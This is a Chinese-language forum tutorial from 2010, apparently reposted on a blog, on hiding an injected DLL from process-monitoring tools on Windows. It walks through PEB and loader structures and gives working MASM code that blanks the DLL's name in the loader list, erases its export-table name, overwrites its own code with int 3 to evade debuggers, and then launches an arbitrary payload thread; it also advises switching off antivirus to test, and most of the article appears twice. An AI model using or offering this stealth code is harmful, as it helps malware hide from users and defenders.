Dll 模塊隱藏技術
標 題: 【原創】Dll 模塊隱藏技術
作 者: 風蕭兮
時 間: 2010-11-06,15:30:52
鏈 接: http://bbs.pediy.com/showthread.php?t=124325
Dll 模塊隱藏技術
BY: tj08jx(fengxiaoxi)
;***********************************************************************
其實帖子都是這樣看的少,細讀的沒幾個,
如果你細細讀完這篇文章,你會學到一下內容:
1.PEB,TEB,LDR_DATA_TABLE_ENTRY等數據結構
2.自己覆蓋掉自己執行過的一段代碼
3.調試這個Dll你會發現DLL_PROCESS_ATTACH中的代碼在OD首次停下即加載停止時已經執行完了!
多麼美妙啊!哈哈,OD不會發現你執行了什麼
4.本例最後附件有個 ASM 的控制台程序,用 SDK 編寫,你可以學到用彙編寫一個基本的控制台程序的格式
5.最後那個控制台源碼還包含完整的CreateRemoteThread注入進程的寫法
;**************************************************************************
本文主要講的是怎樣隱藏一個dll模塊,這裡說的隱藏是指,dll被加載後怎樣使它 用一般的工具無法檢測出來。
為什麼要這麼做呢?
1.遠程線程中的應用
(1)大家都知道,遠程線程注入主要有兩種一種是直接copy母體中預注入的代碼到目標進程地址空間(WriteProcessMemory),
然後啟動注入的代碼(CreateRemoteThread),這種遠程線程一旦成功實現,那麼它只出現在目標進程的內存中,
並沒有對應的磁盤文件,堪稱進程隱藏中的高招,可是缺點就是,你必須要在注入代碼中對所有直接尋址的指令進行修正,
這可是個力氣活,用彙編寫起來很煩。
(2)另一種更為常用的方法是注入一個 dll 文件到目標進程,這種方法的實現可以是 以一個 消息Hook 為由進行注入,
或者仍然使用 CreateRemoteThread,這種方法的優點是 Dll 文件自帶 重定位 表,也就是說你不必再為修正直接尋址
指令而煩惱了!,dll 自己會重定位!~~~嗯,真是不錯的方法 --- 可是我們說它不如上面說的方法牛。為什麼?
因為它的致命傷就是 可以用進程管理工具 看見被加載的 dll 文件名、文件路徑。這真是太不爽了,因為只要用戶看看模塊列表
很容易發現可疑模塊!,再依據名字,找到路徑,定位文件 --- dll文件就這樣暴露了.這樣也就不是很完美的隱藏進程。
[現在不用怕啦~~ 本文將介紹的方法就是為了上述 不足而存在地~~~,讓一般的工具看不到已加載的某個dll]
2.自身文件的需要
這個說起來比較簡單,比如我的一個程序運行了,我不想讓用戶知道我的EXE使用了某個dll,那麼同樣的也需要這種隱身技術.
3. 技術實現
(1).
說完了這麼多,該說說,到底應該怎麼實現了.
熟悉SEH的肯定對 PEB 這個結構並不陌生-- PEB (Process Environment Block)進程環境信息塊,這裡儲存著進程的重要信息
主要原理就是這個結構,和它的成員相關結構
首先我們回顧一下如何找到這個結構,常見的代碼是這個:
mov eax,fs:[30h] ;就這一句足矣,執行後 eax --> PEB (eax指向PEB結構,即eax中是PEB結構在進程空間中的地址)
熟悉TEB和SEH中反調試知識的童鞋一定對上面這個很熟悉了~~不多說了--(不懂得童鞋去學習一下SEH的相關知識你就會認清 fs 了)
下面看一下 PEB 結構的定義 :
;=================================================================
PEB STRUCT ; sizeof = 1E8h
InheritedAddressSpace BYTE ? ; 0000h
ReadImageFileExecOptions BYTE ? ; 0001h
BeingDebugged BYTE ? ; 0002h
SpareBool BYTE ? ; 0003h
Mutant PVOID ? ; 0004h
ImageBaseAddress PVOID ? ; 0008h
Ldr PVOID ? ; 000Ch PTR PEB_LDR_DATA
ProcessParameters PVOID ? ; 0010h PTR RTL_USER_PROCESS_PARAMETERS
SubSystemData PVOID ? ; 0014h
~~~~~~~~~~~~~~~~~ ~~~~ ~~ ;PEB 結構以下部分省略
PEB ENDS
;==================================================================
由於PEB結構太龐大了,因此本文指截取了開頭的一部分,因為我們主要使用的是它的 Ldr 成員,看見了嗎? 對!,就是它在結構偏移 0Ch 處
後面已經指出了Ldr成員是一個指向 PEB_LDR_DATA 結構的指針,下面我們就得看看這個結構了:
;==================================================================
PEB_LDR_DATA STRUCT ; sizeof = 24h
_Length DWORD ? ; original name Length
Initialized BYTE ? ; 04h
db 3 dup(?) ; padding
SsHandle PVOID ? ; 08h
InLoadOrderModuleList LIST_ENTRY <> ; 0Ch
InMemoryOrderModuleList LIST_ENTRY <> ; 14h
InInitializationOrderModuleList LIST_ENTRY <> ; 1Ch
PEB_LDR_DATA ENDS
;==================================================================
啊哈~~~這裡我們看到了想要的東西, Module 這個單詞被我們發現了,ModuleList 就是模塊 列表嘛~~~
InLoadOrderModuleList 就是按照模塊加載順序描述模塊信息的,InMemoryOrderModuleList是按照內存中存儲順序描述,
InInitializationOrderModuleList是按照初始化dll模塊的順序描述的(你可以利用它們之一獲得kernel32.dll的基址
這是許多無導入表程序的必做之事)
為了弄清Module信息究竟是怎麼儲存的,我們又必須知道LIST_ENTRY結構的定義
一個LIST_ENTRY結構描述了一個雙鏈表
;======================================
LIST_ENTRY STRUCT
Flink pLIST_ENTRY
Blink pLIST_ENTRY
LIST_ENTRY ENDS
pLIST_ENTRY typedef PTR LIST_ENTRY ;pLIST_ENTRY 表示指向LIST_ENTRY結構的指針
;=====================================
根據圖片我們可以看出LIST_ENTRY的用法,它嵌入在一個結構類型內,Flink指向下一個這種結構類型內的LIST_ENTRY
這樣由表頭,就可以找到所有的data struct結構了!
啊哈~~ MSDN 又說 InMemoryOrderModuleList 指向一個 LDR_DATA_TABLE_ENTRY 結構,也就是說,我們的圖片的
data struct 1,2,3 就是指 LDR_DATA_TABLE_ENTRY 結構,再看看 它的 定義:(雖然結構有點繞,別暈啊~~快勝利了)
;===========================================================
LDR_DATA_TABLE_ENTRY STRUCT
InLoadOrderLinks LIST_ENTRY ;0h
InMemoryOrderLinks; LIST_ENTRY ;8h
InInitializationOrderLinks; LIST_ENTRY ;10h
DllBase; dword ;18h ;DllBase模塊基址
EntryPoint; dword ;1Ch ;模塊入口點
SizeOfImage; dword ;20h ;模塊的內存映像大小
FullDllName; UNICODE_STRING ;24h
BaseDllName; UNICODE_STRING ;2Ch
Flags; dword ;34h
~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~ ;LDR_DATA_TABLE_ENTRY結構以下部分省略
LDR_DATA_TABLE_ENTRY ENDS
;===========================================================
怎麼樣?看成員名字就知道~~~~,模塊信息就在此處!
可以肯定一個LDR_DATA_TABLE_ENTRY描述一個模塊的信息,依靠LIST_ENTRY與下一個或前一個LDR_DATA_TABLE_ENTRY想連.
它的前三個成員都是 LIST_ENTRY 類型!,再看看上面圖片,你應該明白了吧,PEB_LDR_DATA中的三個LIST_ENTRY的後繼依次就是這三個
這裡我們主要使用InLoadOrderModuleList這個成員來遍歷模塊,原因是InLoadOrderModuleList對應的嵌入在LDR_DATA_TABLE_ENTRY結構中
的InLoadOrderLinks位於結構首部,用它尋址會方便、清楚一些(當然你用其它兩個,InMemoryOrderModuleList 和
InInitializationOrderModuleList也可以啊)
看這個彙編代碼,我們要定位於首個LDR_DATA_TABLE_ENTRY:
mov eax,fs:[30h] ;eax-->PEB
mov eax,[eax + 0Ch] ;eax == PEB.Ldr --> PEB_LDR_DATA
mov eax,[eax + 0Ch] ;eax == PEB_LDR_DATA.InLoadOrderModuleList.Flink --> LDR_DATA_TABLE_ENTRY
OK,執行後eax中就是第一個LDR_DATA_TABLE_ENTRY結構的地址啦!!!
3個mov指令,但是用到了好多結構啊~~~
對於我們的遍歷方式,第一個LDR_DATA_TABLE_ENTRY描述的應該是dll所屬的EXE的信息,包括入口點,基址,文件名什麼的 ~~~
到這裡我們還差一小步 那就是 UNICODE_STRING 結構
;=============================================================
UNICODE_STRING STRUCT ;sizeof == 08h
Length word ;0h
MaximumLength word ;02h
Buffer dword ;04h
UNICODE_STRING STRUCT ENDS
;=============================================================
Length 指明由Buffer字段指向的UNICODE串的長度,不包括結尾的 00 00
比如" C:\A "這個UNICODE串那麼Length就是4*2==8
Buffer 指向Unicode字串的指針!
太好了終於大功告成,解決複雜的結構了--
現在假設我們要獲得某個模塊的全路徑:
mov eax,fs:[30h] ;eax-->PEB
mov eax,[eax + 0Ch] ;eax == PEB.Ldr --> PEB_LDR_DATA
mov eax,[eax + 0Ch] ;eax == PEB_LDR_DATA.InLoadOrderModuleList.Flink --> LDR_DATA_TABLE_ENTRY
mov eax,[eax + 24h + 4h] ;eax == LDR_DATA_TABLE_ENTRY.FullDllName.Buffer --> 模塊路徑unicode串
執行過後,eax 中存儲的就是我們遍歷的首個模塊的模塊全路徑字串的地址
也就是模塊字串名稱的指針.
要訪問下一個LDR_DATA_TABLE_ENTRY,在上幾句代碼的基礎上只需這樣:
mov eax,[eax] ;因為eax本身就是指向LIST_ENTRY結構地~~~,這樣mov指令使得
;當前LIST_ENTRY的Flink傳送到eax,eax自然就指向下一個LDR_DATA_TABLE_ENTRY結構了~~~
(2).
好了說說我們的dll隱身技術,我們就是要將這裡的LDR_DATA_TABLE_ENTRY.FullDllName指向的字符串清除!
因為快照函數或其它的函數,一般都會在底層訪問這個結構,在這裡查詢 模塊 的信息,我們把它給清除了,看它還能查到了嗎?
下面我們假設我們已經使用CreateRemoteThread創建一個遠程線程,遠程線程入口就是 LoadLibraryA 函數,傳入參數就是我們的欲注入
的dll文件名,現在我們看看這個dll文件的核心代碼,看它如何清除自己的FullDllName串實現隱藏:
在Dll初始化時,響應 DLL_PROCESS_ATTACH ,在這其中清除我們的「自己的名字」,來個神不知鬼不覺!,哈哈~~
這同時也說明,初始化時,Windows已經把各結構都填寫好了.
做到這裡我們已經能實現這樣的功能,即 一般的進程查看工具看不到我們注入的dll了!
因為我們把它要查的信息清除了!
說到這可能有大牛說,我暴力搜索內存,匹配 MZ--PE ,看你往哪跑? 的卻我是跑不了 ~~
如果你這樣做的話,首先你得知道我注入的是哪個進程,其次,你得有耐心暴力搜索,然後--- 真的被您搜到了 ---
此時我的 dll 的代碼便可以被人家隨便分析啦 ~~ 一看 哈哈,原來就是清除了 某某結構的內容啊 ---
哼! 我在你的 導出表 裡找到你的 dll 名字!,然後找到你的磁盤文件,那你就任我魚肉吧! 哈哈哈哈~~~~~
好可怕啊~~~,是啊,用OD看看,然後靜態反彙編一下,我們的代碼就露餡了--唉 --
等等!!
要不然 我們來個 Self Modify 將dll中的這段代碼 也給它清除掉,對! 還有 EXPORT 的那個 dll 名,一起除掉,
給它來個 毀屍滅跡 O(∩_∩)O哈哈~
說幹就幹,看下面代碼:
這最後一部分就是 Dll 的完全的核心代碼啦 ~~~ 調用VirtualProtectl兩次,第一次用於更改
_BEGIN與_END標號處的屬性,以便毀屍滅跡填充 int 3.第二次用於更改導出表dll文件名的地方
的屬性,以便將其清零.
最後程序可以創建個自定義線程,在這個線程裡 you can do anything you like
;/////////////////////////////////////////////////////////////////////////////////////////////
至此,我們的工程完成啦 ~~~ ,即使搜索內存字符串也是搜不到的--因為所有的相關串都被我們毀了
##我測試環境是 Win 7,ProcessExplorer 和 360自帶的 進程管理器 都查不出來 已加載的Dll模塊.##
##冰刃的話說是不支持win 7 因此未測試,不知結果不敢妄言##
好了說說我們的附件:
你可以看到本文使用的是 MASM32 的語法
附件中有完整的 dll 文件的源代碼,還有編譯好的 dll 文件。
為了測試程序的方便我還特意用 ASM 寫了個控制台程序,這個控制台程序是個"dll 注入器"
採用CreateRemoteThread的方式注入,你可以輸入進程名來完成注入,以便測試我們的這個dll
這個控台程序的源碼同樣在附件中.
注意:注入前 dll 文件要放在 PATH 變量指定的目錄中,否則LoadLibraryA找不到dll會失敗
dll成功注入後首先會彈出個MessageBox,告訴你,它被 Loaded 了,然後 自定義線程
會 每隔 6 秒彈出一個 MessgeBox,告訴你 It is alive !
注:由於涉及到遠程注入,因此部分殺軟會報毒的,如果想繼續測試,請暫時關閉 進程防火牆 或 其它可能的主動防禦
時 間: 2010-11-06,15:30:52
鏈 接: http://bbs.pediy.com/showthread.php?t=124325
Dll 模塊隱藏技術
BY: tj08jx(fengxiaoxi)
;***********************************************************************
其實帖子都是這樣看的少,細讀的沒幾個,
如果你細細讀完這篇文章,你會學到一下內容:
1.PEB,TEB,LDR_DATA_TABLE_ENTRY等數據結構
2.自己覆蓋掉自己執行過的一段代碼
3.調試這個Dll你會發現DLL_PROCESS_ATTACH中的代碼在OD首次停下即加載停止時已經執行完了!
多麼美妙啊!哈哈,OD不會發現你執行了什麼
4.本例最後附件有個 ASM 的控制台程序,用 SDK 編寫,你可以學到用彙編寫一個基本的控制台程序的格式
5.最後那個控制台源碼還包含完整的CreateRemoteThread注入進程的寫法
;**************************************************************************
本文主要講的是怎樣隱藏一個dll模塊,這裡說的隱藏是指,dll被加載後怎樣使它 用一般的工具無法檢測出來。
為什麼要這麼做呢?
1.遠程線程中的應用
(1)大家都知道,遠程線程注入主要有兩種一種是直接copy母體中預注入的代碼到目標進程地址空間(WriteProcessMemory),
然後啟動注入的代碼(CreateRemoteThread),這種遠程線程一旦成功實現,那麼它只出現在目標進程的內存中,
並沒有對應的磁盤文件,堪稱進程隱藏中的高招,可是缺點就是,你必須要在注入代碼中對所有直接尋址的指令進行修正,
這可是個力氣活,用彙編寫起來很煩。
(2)另一種更為常用的方法是注入一個 dll 文件到目標進程,這種方法的實現可以是 以一個 消息Hook 為由進行注入,
或者仍然使用 CreateRemoteThread,這種方法的優點是 Dll 文件自帶 重定位 表,也就是說你不必再為修正直接尋址
指令而煩惱了!,dll 自己會重定位!~~~嗯,真是不錯的方法 --- 可是我們說它不如上面說的方法牛。為什麼?
因為它的致命傷就是 可以用進程管理工具 看見被加載的 dll 文件名、文件路徑。這真是太不爽了,因為只要用戶看看模塊列表
很容易發現可疑模塊!,再依據名字,找到路徑,定位文件 --- dll文件就這樣暴露了.這樣也就不是很完美的隱藏進程。
[現在不用怕啦~~ 本文將介紹的方法就是為了上述 不足而存在地~~~,讓一般的工具看不到已加載的某個dll]
2.自身文件的需要
這個說起來比較簡單,比如我的一個程序運行了,我不想讓用戶知道我的EXE使用了某個dll,那麼同樣的也需要這種隱身技術.
3. 技術實現
(1).
說完了這麼多,該說說,到底應該怎麼實現了.
熟悉SEH的肯定對 PEB 這個結構並不陌生-- PEB (Process Environment Block)進程環境信息塊,這裡儲存著進程的重要信息
主要原理就是這個結構,和它的成員相關結構
首先我們回顧一下如何找到這個結構,常見的代碼是這個:
mov eax,fs:[30h] ;就這一句足矣,執行後 eax --> PEB (eax指向PEB結構,即eax中是PEB結構在進程空間中的地址)
熟悉TEB和SEH中反調試知識的童鞋一定對上面這個很熟悉了~~不多說了--(不懂得童鞋去學習一下SEH的相關知識你就會認清 fs 了)
下面看一下 PEB 結構的定義 :
;=================================================================
PEB STRUCT ; sizeof = 1E8h
InheritedAddressSpace BYTE ? ; 0000h
ReadImageFileExecOptions BYTE ? ; 0001h
BeingDebugged BYTE ? ; 0002h
SpareBool BYTE ? ; 0003h
Mutant PVOID ? ; 0004h
ImageBaseAddress PVOID ? ; 0008h
Ldr PVOID ? ; 000Ch PTR PEB_LDR_DATA
ProcessParameters PVOID ? ; 0010h PTR RTL_USER_PROCESS_PARAMETERS
SubSystemData PVOID ? ; 0014h
~~~~~~~~~~~~~~~~~ ~~~~ ~~ ;PEB 結構以下部分省略
PEB ENDS
;==================================================================
由於PEB結構太龐大了,因此本文指截取了開頭的一部分,因為我們主要使用的是它的 Ldr 成員,看見了嗎? 對!,就是它在結構偏移 0Ch 處
後面已經指出了Ldr成員是一個指向 PEB_LDR_DATA 結構的指針,下面我們就得看看這個結構了:
;==================================================================
PEB_LDR_DATA STRUCT ; sizeof = 24h
_Length DWORD ? ; original name Length
Initialized BYTE ? ; 04h
db 3 dup(?) ; padding
SsHandle PVOID ? ; 08h
InLoadOrderModuleList LIST_ENTRY <> ; 0Ch
InMemoryOrderModuleList LIST_ENTRY <> ; 14h
InInitializationOrderModuleList LIST_ENTRY <> ; 1Ch
PEB_LDR_DATA ENDS
;==================================================================
啊哈~~~這裡我們看到了想要的東西, Module 這個單詞被我們發現了,ModuleList 就是模塊 列表嘛~~~
InLoadOrderModuleList 就是按照模塊加載順序描述模塊信息的,InMemoryOrderModuleList是按照內存中存儲順序描述,
InInitializationOrderModuleList是按照初始化dll模塊的順序描述的(你可以利用它們之一獲得kernel32.dll的基址
這是許多無導入表程序的必做之事)
為了弄清Module信息究竟是怎麼儲存的,我們又必須知道LIST_ENTRY結構的定義
一個LIST_ENTRY結構描述了一個雙鏈表
;======================================
LIST_ENTRY STRUCT
Flink pLIST_ENTRY
Blink pLIST_ENTRY
LIST_ENTRY ENDS
pLIST_ENTRY typedef PTR LIST_ENTRY ;pLIST_ENTRY 表示指向LIST_ENTRY結構的指針
;=====================================
根據圖片我們可以看出LIST_ENTRY的用法,它嵌入在一個結構類型內,Flink指向下一個這種結構類型內的LIST_ENTRY
這樣由表頭,就可以找到所有的data struct結構了!
啊哈~~ MSDN 又說 InMemoryOrderModuleList 指向一個 LDR_DATA_TABLE_ENTRY 結構,也就是說,我們的圖片的
data struct 1,2,3 就是指 LDR_DATA_TABLE_ENTRY 結構,再看看 它的 定義:(雖然結構有點繞,別暈啊~~快勝利了)
;===========================================================
LDR_DATA_TABLE_ENTRY STRUCT
InLoadOrderLinks LIST_ENTRY ;0h
InMemoryOrderLinks; LIST_ENTRY ;8h
InInitializationOrderLinks; LIST_ENTRY ;10h
DllBase; dword ;18h ;DllBase模塊基址
EntryPoint; dword ;1Ch ;模塊入口點
SizeOfImage; dword ;20h ;模塊的內存映像大小
FullDllName; UNICODE_STRING ;24h
BaseDllName; UNICODE_STRING ;2Ch
Flags; dword ;34h
~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~ ;LDR_DATA_TABLE_ENTRY結構以下部分省略
LDR_DATA_TABLE_ENTRY ENDS
;===========================================================
怎麼樣?看成員名字就知道~~~~,模塊信息就在此處!
可以肯定一個LDR_DATA_TABLE_ENTRY描述一個模塊的信息,依靠LIST_ENTRY與下一個或前一個LDR_DATA_TABLE_ENTRY想連.
它的前三個成員都是 LIST_ENTRY 類型!,再看看上面圖片,你應該明白了吧,PEB_LDR_DATA中的三個LIST_ENTRY的後繼依次就是這三個
這裡我們主要使用InLoadOrderModuleList這個成員來遍歷模塊,原因是InLoadOrderModuleList對應的嵌入在LDR_DATA_TABLE_ENTRY結構中
的InLoadOrderLinks位於結構首部,用它尋址會方便、清楚一些(當然你用其它兩個,InMemoryOrderModuleList 和
InInitializationOrderModuleList也可以啊)
看這個彙編代碼,我們要定位於首個LDR_DATA_TABLE_ENTRY:
mov eax,fs:[30h] ;eax-->PEB
mov eax,[eax + 0Ch] ;eax == PEB.Ldr --> PEB_LDR_DATA
mov eax,[eax + 0Ch] ;eax == PEB_LDR_DATA.InLoadOrderModuleList.Flink --> LDR_DATA_TABLE_ENTRY
OK,執行後eax中就是第一個LDR_DATA_TABLE_ENTRY結構的地址啦!!!
3個mov指令,但是用到了好多結構啊~~~
對於我們的遍歷方式,第一個LDR_DATA_TABLE_ENTRY描述的應該是dll所屬的EXE的信息,包括入口點,基址,文件名什麼的 ~~~
到這裡我們還差一小步 那就是 UNICODE_STRING 結構
;=============================================================
UNICODE_STRING STRUCT ;sizeof == 08h
Length word ;0h
MaximumLength word ;02h
Buffer dword ;04h
UNICODE_STRING STRUCT ENDS
;=============================================================
Length 指明由Buffer字段指向的UNICODE串的長度,不包括結尾的 00 00
比如" C:\A "這個UNICODE串那麼Length就是4*2==8
Buffer 指向Unicode字串的指針!
太好了終於大功告成,解決複雜的結構了--
現在假設我們要獲得某個模塊的全路徑:
mov eax,fs:[30h] ;eax-->PEB
mov eax,[eax + 0Ch] ;eax == PEB.Ldr --> PEB_LDR_DATA
mov eax,[eax + 0Ch] ;eax == PEB_LDR_DATA.InLoadOrderModuleList.Flink --> LDR_DATA_TABLE_ENTRY
mov eax,[eax + 24h + 4h] ;eax == LDR_DATA_TABLE_ENTRY.FullDllName.Buffer --> 模塊路徑unicode串
執行過後,eax 中存儲的就是我們遍歷的首個模塊的模塊全路徑字串的地址
也就是模塊字串名稱的指針.
要訪問下一個LDR_DATA_TABLE_ENTRY,在上幾句代碼的基礎上只需這樣:
mov eax,[eax] ;因為eax本身就是指向LIST_ENTRY結構地~~~,這樣mov指令使得
;當前LIST_ENTRY的Flink傳送到eax,eax自然就指向下一個LDR_DATA_TABLE_ENTRY結構了~~~
(2).
好了說說我們的dll隱身技術,我們就是要將這裡的LDR_DATA_TABLE_ENTRY.FullDllName指向的字符串清除!
因為快照函數或其它的函數,一般都會在底層訪問這個結構,在這裡查詢 模塊 的信息,我們把它給清除了,看它還能查到了嗎?
下面我們假設我們已經使用CreateRemoteThread創建一個遠程線程,遠程線程入口就是 LoadLibraryA 函數,傳入參數就是我們的欲注入
的dll文件名,現在我們看看這個dll文件的核心代碼,看它如何清除自己的FullDllName串實現隱藏:
代碼:
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DllEntry proc _hInstance,_dwReason,_dwReserved pushad mov eax,_dwReason .if eax == DLL_PROCESS_ATTACH ;Dll初始化時執行! push _hInstance pop hInstDll ;hInstDll保存本dll加載基址 ;------------------------------------------ ;定位eax指向首個LDR_DATA_TABLE_ENTRY結構 ;------------------------------------------ assume fs:nothing mov eax,fs:[30h] ;eax-->PEB mov eax,[eax + 0Ch] ;eax==Ldr-->PEB_LDR_DATA mov eax,[eax + 0Ch] ;LoadOrderList.Flink-->LDR_DATA_TABLE_ENTRY ;----------------------------------------------------------- ;通過循環遍歷LDR_DATA_TABLE_ENTRY結構,比較DllBase與hInstDll ;找到描述本dll模塊的LDR_DATA_TABLE_ENTRY結構 ;----------------------------------------------------------- @@: mov ebx,[eax + 18h] ;[eax + 18h]為當前處理的模塊的基址 cmp ebx,hInstDll ;找到本模塊的LDR_DATA_TABLE_ENTRY jne _No mov ebx,[eax + 24h + 4] movzx ecx,word ptr [eax + 24h] ;Unicode String length 獲得子串長度 mov edi,ebx ;Unicode String Address cld rep stosb ;用Al的值填充 mov dword ptr [ebx],0 ;(確保String首4個byte為0) jmp @F _No: mov eax,[eax] ;鏈表遍歷 jmp @B @@: .elseif -- - -- - - -- ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
這同時也說明,初始化時,Windows已經把各結構都填寫好了.
做到這裡我們已經能實現這樣的功能,即 一般的進程查看工具看不到我們注入的dll了!
因為我們把它要查的信息清除了!
說到這可能有大牛說,我暴力搜索內存,匹配 MZ--PE ,看你往哪跑? 的卻我是跑不了 ~~
如果你這樣做的話,首先你得知道我注入的是哪個進程,其次,你得有耐心暴力搜索,然後--- 真的被您搜到了 ---
此時我的 dll 的代碼便可以被人家隨便分析啦 ~~ 一看 哈哈,原來就是清除了 某某結構的內容啊 ---
哼! 我在你的 導出表 裡找到你的 dll 名字!,然後找到你的磁盤文件,那你就任我魚肉吧! 哈哈哈哈~~~~~
好可怕啊~~~,是啊,用OD看看,然後靜態反彙編一下,我們的代碼就露餡了--唉 --
等等!!
要不然 我們來個 Self Modify 將dll中的這段代碼 也給它清除掉,對! 還有 EXPORT 的那個 dll 名,一起除掉,
給它來個 毀屍滅跡 O(∩_∩)O哈哈~
說幹就幹,看下面代碼:
代碼:
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DllEntry proc _hInstance,_dwReason,_dwReserved pushad mov eax,_dwReason .if eax == DLL_PROCESS_ATTACH push _hInstance pop hInstDll _BEGIN: call @F @@: pop eax ;eax返回@@標號處的線性地址 sub eax,5 ;執行後eax等於_BEGIN處的線性地址 push eax mov ebx,offset _END - offset _BEGIN invoke VirtualProtect,eax,ebx,PAGE_EXECUTE_READWRITE,addr flOldProtect ;flOldProtect萬萬不可少 ;------------------------------------------ ;清除PEB結構中,(UNICODE STRING)FullDllName ;------------------------------------------ assume fs:nothing mov eax,fs:[30h] ;eax-->PEB mov eax,[eax + 0Ch] ;eax==Ldr-->PEB_LDR_DATA mov eax,[eax + 0Ch] ;LoadOrderList.Flink-->LDR_DATA_TABLE_ENTRY @@: mov ebx,[eax + 18h] cmp ebx,hInstDll ;找到本模塊的LDR_DATA_TABLE_ENTRY jne _No mov ebx,[eax + 24h + 4] movzx ecx,word ptr [eax + 24h] ;Unicode String length mov edi,ebx ;Unicode String Address cld rep stosb mov dword ptr [ebx],0 ;(確保String首4個byte為0) jmp @F _No: mov eax,[eax] jmp @B @@: ;--------------------------------- ;清除Dll映像中導出表中的Dll文件名 ;--------------------------------- mov esi,hInstDll add esi,[esi + 03Ch] assume esi:ptr IMAGE_NT_HEADERS mov edi,[esi].OptionalHeader.DataDirectory[0].VirtualAddress add edi,hInstDll assume edi:ptr IMAGE_EXPORT_DIRECTORY mov edi,[edi].nName add edi,hInstDll ;edi-->DllName(Export) mov [esp - 4*4],edi xor eax,eax mov ecx,-1 cld repnz scasb ;[edi] != 0 -->> continue sub edi,[esp - 4*4] ;edi == length + 1 mov [esp - 4*3],edi mov dword ptr [esp - 4*2],PAGE_EXECUTE_READWRITE lea eax,flOldProtect mov [esp - 4*1],eax sub esp,4*4 call VirtualProtect ;調用VirtualProtect更改頁屬性 xor eax,eax xchg ecx,edi ;edi == length + 1 xchg edi,[esp - 4*4] ;[esp - 4*4] --> DllName cld rep stosb ;------------------------------------- ;將_BEGIN 與 _END 之間內容填充為int 3 ;------------------------------------- pop edi mov eax,0CCh mov ecx,offset _END - offset _BEGIN cld rep stosb _END: ;-------------------------------------------- ;創建自定義線程,you can do anything you want ;-------------------------------------------- invoke CreateThread,0,0,addr _ThreadProc,0,0,0 .elseif eax == DLL_PROCESS_DETACH NOP .endif popad mov eax,TRUE ret DllEntry Endp ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
_BEGIN與_END標號處的屬性,以便毀屍滅跡填充 int 3.第二次用於更改導出表dll文件名的地方
的屬性,以便將其清零.
最後程序可以創建個自定義線程,在這個線程裡 you can do anything you like
;/////////////////////////////////////////////////////////////////////////////////////////////
至此,我們的工程完成啦 ~~~ ,即使搜索內存字符串也是搜不到的--因為所有的相關串都被我們毀了
##我測試環境是 Win 7,ProcessExplorer 和 360自帶的 進程管理器 都查不出來 已加載的Dll模塊.##
##冰刃的話說是不支持win 7 因此未測試,不知結果不敢妄言##
好了說說我們的附件:
你可以看到本文使用的是 MASM32 的語法
附件中有完整的 dll 文件的源代碼,還有編譯好的 dll 文件。
為了測試程序的方便我還特意用 ASM 寫了個控制台程序,這個控制台程序是個"dll 注入器"
採用CreateRemoteThread的方式注入,你可以輸入進程名來完成注入,以便測試我們的這個dll
這個控台程序的源碼同樣在附件中.
注意:注入前 dll 文件要放在 PATH 變量指定的目錄中,否則LoadLibraryA找不到dll會失敗
dll成功注入後首先會彈出個MessageBox,告訴你,它被 Loaded 了,然後 自定義線程
會 每隔 6 秒彈出一個 MessgeBox,告訴你 It is alive !
注:由於涉及到遠程注入,因此部分殺軟會報毒的,如果想繼續測試,請暫時關閉 進程防火牆 或 其它可能的主動防禦
留言
張貼留言